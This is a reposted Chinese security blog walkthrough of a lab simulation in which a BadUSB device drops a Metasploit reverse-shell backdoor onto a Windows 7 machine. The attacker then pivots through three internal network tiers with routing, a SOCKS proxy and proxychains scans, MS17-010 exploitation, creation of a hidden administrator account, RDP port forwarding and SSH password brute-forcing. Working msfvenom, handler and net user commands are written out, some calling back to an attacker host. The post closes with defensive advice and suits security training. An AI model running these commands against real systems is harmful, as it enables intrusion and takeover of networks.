1. 程式人生 > >利用BadUSB穿透3層內網

利用BadUSB穿透3層內網

轉自微信公眾號:湛盧工作室

作為一個安全人員,聽過許多社工APT案例,釣魚郵件、水坑攻擊、丟個u盤等等。前段時間在一次培訓中瞭解到BadUSB的攻擊方式,可以通過U盤達到控制伺服器的效果,在著名的美劇《黑客軍團》中也出現了在停車場扔BadUSB來進行釣魚的場景。

一時好奇,於是嘗試模擬一次社工,利用VMware搭建了3層網路靶場,通過BadUSB+MSF的攻擊手段,一步一步滲透到第三層網路。  

0x01 三層網路靶場搭建

本次模擬實驗的網路拓撲如下:
第一層網路,模擬企業辦公網,為一臺win7的員工辦公電腦,第二層網路模擬內網,是一臺win2003伺服器,第三層網路為企業核心網,為一臺Linux伺服器。攻擊者的攻擊機有kali和win10。

我們可以利用VMware搭建出3層網路的網路環境,首先在虛擬機器中新建3塊網絡卡,並選擇僅主機模式: 

我們將kali設為第一層網路vmnet1,在網路介面卡中選擇自定義vmnet1:

在第一層靶機win7虛擬機器設定中新增一個網路,並將兩個網路分別設為vmnet1和vmnet2,達到雙網絡卡的效果:

同理,將第二層靶機win2003設為雙網絡卡vmnet2和vmnet3:

最後,將第三層靶機linux的網路設為vmnet3:

至此,我們本次試驗的3層網路靶場已經搭建完畢,攻擊者的kali只能訪問第一層網路,而無法訪問第二層和第三層的靶機:

0x02 BadUSB介紹

  • 效果演示
    在介紹BadUSB之前,我們先來看一下他的威力,下面的u盤看上去是一個u盤,但其實內部是一個微控制器,普通人很容易被迷惑。

我在本地的win10上做了演示,我的系統裝了防病毒軟體,並且補丁也更新到最新,但當我將上面的u盤查到電腦上的時候,他達到了任意執行命令的效果。

當然上面的操作只是為了演示,我們完全可以利用他來做更多隱蔽的攻擊操作。

  • 什麼是BadUSB?
    簡單來說,就是讓USB裝置偽裝成鍵盤,被插入的電腦猝不及防會被迅速輸入一定的“指令”,這個指令會讓該電腦迅速成為肉雞,這個漏洞最早在2014年的BlackHat安全大會上公佈。BadUSB最可怕的一點是惡意程式碼存在於U盤的韌體中,由於PC上的防毒軟體無法訪問到U盤存放韌體的區域,因此也就意味著防毒軟體和U盤格式化都無法應對BadUSB進行攻擊。

  • 常見的BadUSB
    1、TEENSY
    攻擊者在定製攻擊裝置時,會向USB裝置中置入一個攻擊晶片,此攻擊晶片是一個非常小而且功能完整的微控制器開發系統,它的名字叫TEENSY。通過TEENSY你可以模擬出一個鍵盤和滑鼠,當你插入這個定製的USB裝置時,電腦會識別為一個鍵盤,利用裝置中的微處理器與儲存空間和程式設計進去的攻擊程式碼,就可以向主機發送控制命令,從而完全控制主機,無論自動播放是否開啟、是否安裝防毒軟體,都可以成功。

2、USB RUBBER DUCKY
簡稱USB橡皮鴨,是最早的按鍵注入工具,通過嵌入式開發板實現,後來發展成為一個完全成熟的商業化按鍵注入攻擊平臺。它的原理同樣是將USB裝置模擬成為鍵盤,讓電腦識別成為鍵盤,然後進行指令碼模擬按鍵進行攻擊。

  • 製作一款簡易BadUSB
    製作一款BadUSB我們需要以下工具:

1、BadUSB裝置,目前在淘寶有售,我們這裡選用的是Digispark,Digispark是一個基於ATTINY85微控制器的USB開發板,體積小且價錢便宜,淘寶有售:https://item.taobao.com/item.htm?spm=a1z09.2.0.0.57db2e8dK2zETX&id=559310622821&_u=b50qdl8ef4d

2、Arduino IDE
Arduino IDE用於燒錄程式碼的編譯器,可以將我們的惡意程式碼燒錄到BadUSB中,配置好相關引數,將開發板設為Digispark,程式設計器設為USBtinyISP:  

編寫好程式碼後,我們就可以點選“上傳”按鈕,然後插入BadUSB裝置,一款簡易BadUSB就做好了。

0x03 MSF內網滲透

有了上面的BadUSB的知識,我們可以模擬一個社工場景:企業內部人員撿到了一個“u盤”,出於好奇插在了自己的辦公電腦上,而這個“u盤”其實是一個BadUSB,插上之後會自動下載攻擊者用MSF製作的後門,所以在插上u盤之後,員工的辦公電腦就已經被黑客控制,黑客從而可以進一步進行內網滲透、橫向擴充套件。下面我們就來看看如何利用MSF一步一步進行內網滲透:

  • 製作MSF後門:

    msf的msfvenom命令可以生成我們所需要的後門:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 -f exe >shell.exe

     

  • 其中,192.168.59.128是msf監聽端的地址,6666是msf監聽端的埠。我們將生成的shell.exe放在卡里搭建的web服務上。

  • MSF開啟監聽:
    在MSF服務端,我們開啟監聽,等待win7反彈shell:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.59.128
set LPORT 6666
exploit

  • BadUSB燒入攻擊程式
    根據工作中真實監控的payload套路,我們在BadUSB中燒入如下程式,讓第一層靶機Win7自動下載攻擊者kali中的製作好的shell.exe,並執行:

這樣一來,當win7被插上u盤後,攻擊者的msf就獲得了一個反彈shell:

  • meterpreter滲透
    Meterpreter是MSF中的一個模組,攻擊payload在攻擊成功以後給我們返回一個控制通道——Meterpreter shell。Meterpreter shell作為滲透模組有很多有用的功能,比如新增一個使用者、開啟shell、得到使用者密碼、上傳下載遠端主機的檔案、執行cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網路介面和IP地址等資訊等等。

我們可以在meterpreter中輸入shell獲得靶機win7的shell,執行ipconfig,發現第二層網路的網段資訊:

為了使得MSF能夠繼續對第二層網路進行滲透,我們首先需要新增路由表:  

metepreter> run autoroute -s 192.168.90.0/24

這樣,通往192.168.90.0/24網段的流量通過meterpreter 的session2進行路由。然後,我們在msf啟動socks代理:  

msf> use auxiliary/server/socks4a   
msf > set srvhost 192.168.59.128     
msf > set srvport 9999  
msf > run

這樣其他攻擊軟體可以通過MSF socks代理、新增的路由對第二層滲透。  

此時,我們已經可以訪問第二層網路192.168.90.0/24了,按照常見的滲透思路,我們會對第二層網路進行掃描探測,看看存活主機有哪些,比如用nmap進行掃描,不過在此之前,我們還需要配置kali中的proxychain,通過proxychain 將nmap的流量通過msf的socks代理,進行第二層的網路掃描。

  • 配置proxychain
    修改/etc/proxychains.conf,將裡面的伺服器和埠設定為msf socksserver的資訊:

    此時,我們可以利用nmap進行第二層網路的探測:

由於proxychains無法代理icmp的資料包 所以必須新增-Pn -sT引數,即不檢測主機是否存活,直接進行埠tcp掃描。

proxychains nmap -Pn -sT -p80,3306,445,3389,22 192.168.90.129-132

通過掃描我們發現了,第二層網路中的靶機地址192.168.90.129,同時開啟了80、445、3306、3389埠,因此下一步的滲透可以從這幾個埠考慮。  這裡有幾個思路,可以從80埠找漏洞,嘗試上傳webshell,3306和3389可以嘗試口令爆破,而445埠第一個就會想到大名鼎鼎的MS17-010,永恆之藍。  

  • 永恆之藍
    雖然wannacry事件已經過去一年多了,內網裡存在ms17-010漏洞的情況在各個行業並不少見,在這次模擬環境中,第二層網路win2003就存在這個漏洞,我們可以利用msf直接對ms17-010進行利用,拿到shell,配置攻擊引數,由於第二層伺服器無法直接和攻擊者的kali進行通訊,所以這裡注意payload要設定為bind_tcp,即採用正向代理的模式。

成功攻擊,獲得meterpreter shell:

拿到system許可權,我們可以修改administrator密碼,或者新增管理員使用者:  

net user tinhyfisher tinyfisher /add 新增使用者tinyfisher密碼為tinyfisher  
net localgroup administrators tinyfisher /add 將帳號tinyfishe升級為管理員
  • 埠轉發
    我們看到,第二層的win2003伺服器開啟了3389,我們可以登入遠端桌面,如果沒有開啟也沒關係,我們可以通過下面的命令開啟。

    metepreter>run getgui -e  
    或者
    metepreter>run post/windows/manage/enable_rdp

    現在,我們無法直接從最外層訪問第二層的3389,我們需要將3389的流量轉發出來,從而登入遠端桌面:

    metepreter> portfwd add -l 7777 -p 3389 -r 192.168.90.129 #將目標機192.168.90.129的3389埠轉發到本地kali 7777埠


    至此,我們已經可以在自己的攻擊機上,遠端登入並控制第二層靶機了。

  • 第三層網路滲透
    同樣,我們要進一步對第三層網路進行滲透的話,第一步還是新增到第三層的路由:

然後是利用nmap探測第三層網路埠資訊:  

開放了80和22埠,思路比較明顯,要拿到許可權,要麼ssh口令爆破,要麼從web端找漏洞傳webshell。  

  • 口令爆破
    首先嚐試第一個思路,看看ssh是否存在弱口令,我們使用auxiliary/scanner/ssh/ssh_login模組,配置好使用者名稱和字典,開始爆破:

果然存在弱口令123456,直接拿到root許可權。

  • web滲透
    我們可以在瀏覽器中配置kali為代理伺服器,從而訪問第三層網路:

開啟訪問,發現是Typecho的部落格系統:

對於這種CMS我們的思路一般是直接去網際網路搜尋CMS的漏洞poc進行測試,這裡就不再進一步演示: 

至此,我們通過BadUSB讓第一層網路中的win7系統下載並執行我們的惡意軟體,然後通過MSF利用MS17-010、口令爆破、web滲透等方式穿透三層內網,最終拿下第三層網路系統的許可權。常見的滲透思路可以參考下面的腦圖:  

0x04 總結

本次模擬只是最簡單的演示,實際情況會比這個複雜的多,比如目標會安裝防病毒軟體,因此,當利用BadUSB下載msf後門的時候需要考慮如何免殺,不然很容易被發現;各個網段一般也會做隔離,因此如何找到網路突破口比較難;內部會有各種安全裝置,比如IDS、蜜罐、TDA等等,所以真正滲透比本次試驗要難的多。

但這裡出現的員工安全意識較差,補丁更新不及時、沒有安裝防病毒軟體或者病毒庫更新不及時、以及系統存在弱口令的問題在實際工作中也是經常遇到,做好企業安全工作這些基礎工作很重要。

最後,通過USB介面攻擊的案例很多,BadUSB只是一類,還有通過USB介面橫跨PC和Mobile平臺進行攻擊的案例。我們在日常使用USB裝置時,不要使用陌生的USB裝置,避免USB存在惡意程式碼導致安全風險。